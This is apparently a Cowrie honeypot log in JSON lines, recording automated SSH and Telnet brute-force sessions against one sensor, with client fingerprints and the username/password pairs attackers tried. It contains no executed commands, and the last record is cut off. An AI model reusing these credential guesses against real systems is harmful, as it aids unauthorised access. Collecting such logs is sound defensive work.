{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:20.668396Z","src_ip":"45.153.34.112","session":"8074181ea9d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:20.941653Z","src_ip":"45.153.34.112","session":"8074181ea9d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kamikadze","message":"login attempt [root/kamikadze] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:21.449743Z","src_ip":"103.27.238.120","session":"c7335629b5b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:22.042379Z","src_ip":"45.153.34.112","session":"8074181ea9d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.93601131439209,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:22.669781Z","src_ip":"192.119.13.58","session":"4204cd7d2c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:22.699908Z","src_ip":"103.27.238.120","session":"c7335629b5b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56184,"dst_ip":"10.17.0.5","dst_port":22,"session":"a933f7449d37","protocol":"ssh","message":"New connection: 45.153.34.112:56184 (10.17.0.5:22) [session: a933f7449d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:24.085300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:24.091315Z","src_ip":"45.153.34.112","session":"a933f7449d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:24.174150Z","src_ip":"45.153.34.112","session":"a933f7449d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:24.422092Z","src_ip":"45.153.34.112","session":"a933f7449d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:25.507220Z","src_ip":"45.153.34.112","session":"a933f7449d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56204,"dst_ip":"10.17.0.5","dst_port":22,"session":"12fcb27eecd0","protocol":"ssh","message":"New connection: 45.153.34.112:56204 (10.17.0.5:22) [session: 12fcb27eecd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:27.693520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:27.698937Z","src_ip":"45.153.34.112","session":"12fcb27eecd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:27.781687Z","src_ip":"45.153.34.112","session":"12fcb27eecd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:28.045300Z","src_ip":"45.153.34.112","session":"12fcb27eecd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:29.325118Z","src_ip":"45.153.34.112","session":"12fcb27eecd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53358,"dst_ip":"10.17.0.5","dst_port":23,"session":"e39f70304a15","protocol":"telnet","message":"New connection: 192.119.13.58:53358 (10.17.0.5:23) [session: e39f70304a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:29.886108Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35084,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c861ec7573e","protocol":"ssh","message":"New connection: 45.153.34.112:35084 (10.17.0.5:22) [session: 2c861ec7573e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:31.071521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:31.077232Z","src_ip":"45.153.34.112","session":"2c861ec7573e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:31.161311Z","src_ip":"45.153.34.112","session":"2c861ec7573e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":29635,"dst_ip":"10.17.0.5","dst_port":22,"session":"be8118815001","protocol":"ssh","message":"New connection: 213.209.159.56:29635 (10.17.0.5:22) [session: be8118815001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:31.380299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:31.385334Z","src_ip":"213.209.159.56","session":"be8118815001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:31.414482Z","src_ip":"45.153.34.112","session":"2c861ec7573e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:31.468469Z","src_ip":"213.209.159.56","session":"be8118815001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60308,"dst_ip":"10.17.0.5","dst_port":23,"session":"d725382bb3c0","protocol":"telnet","message":"New connection: 192.119.13.58:60308 (10.17.0.5:23) [session: d725382bb3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:31.567578Z"}
{"eventid":"cowrie.login.failed","username":"zaira","password":"zaira","message":"login attempt [zaira/zaira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:31.867583Z","src_ip":"213.209.159.56","session":"be8118815001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33722,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aff59726344","protocol":"telnet","message":"New connection: 192.119.13.58:33722 (10.17.0.5:23) [session: 9aff59726344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:31.991509Z"}
{"eventid":"cowrie.session.closed","duration":42.92765688896179,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:32.378335Z","src_ip":"192.119.13.58","session":"03d9b5420081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:32.500381Z","src_ip":"45.153.34.112","session":"2c861ec7573e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zaira","password":"zaira1","message":"login attempt [zaira/zaira1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:32.952787Z","src_ip":"213.209.159.56","session":"be8118815001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zaira","password":"zaira123","message":"login attempt [zaira/zaira123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:34.039078Z","src_ip":"213.209.159.56","session":"be8118815001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35100,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5a44ec94fb1","protocol":"ssh","message":"New connection: 45.153.34.112:35100 (10.17.0.5:22) [session: e5a44ec94fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:34.505272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:34.536759Z","src_ip":"45.153.34.112","session":"e5a44ec94fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:34.615547Z","src_ip":"45.153.34.112","session":"e5a44ec94fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:34.909638Z","src_ip":"45.153.34.112","session":"e5a44ec94fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zaira","password":"zaira1234","message":"login attempt [zaira/zaira1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:35.125071Z","src_ip":"213.209.159.56","session":"be8118815001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:35.995418Z","src_ip":"45.153.34.112","session":"e5a44ec94fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zaira","password":"zaira12345","message":"login attempt [zaira/zaira12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:36.210346Z","src_ip":"213.209.159.56","session":"be8118815001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:37.296237Z","src_ip":"213.209.159.56","session":"be8118815001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35110,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bcad5585cbb","protocol":"ssh","message":"New connection: 45.153.34.112:35110 (10.17.0.5:22) [session: 6bcad5585cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:38.052761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:38.057719Z","src_ip":"45.153.34.112","session":"6bcad5585cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:38.141035Z","src_ip":"45.153.34.112","session":"6bcad5585cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:38.390065Z","src_ip":"45.153.34.112","session":"6bcad5585cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:39.487045Z","src_ip":"45.153.34.112","session":"6bcad5585cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.088196754455566,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:39.859662Z","src_ip":"192.119.13.58","session":"dd7817e9bcca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43650,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a3eca562e62","protocol":"telnet","message":"New connection: 192.119.13.58:43650 (10.17.0.5:23) [session: 4a3eca562e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:41.203951Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51490,"dst_ip":"10.17.0.5","dst_port":22,"session":"3210780de214","protocol":"ssh","message":"New connection: 45.153.34.112:51490 (10.17.0.5:22) [session: 3210780de214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:41.545844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:41.550983Z","src_ip":"45.153.34.112","session":"3210780de214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","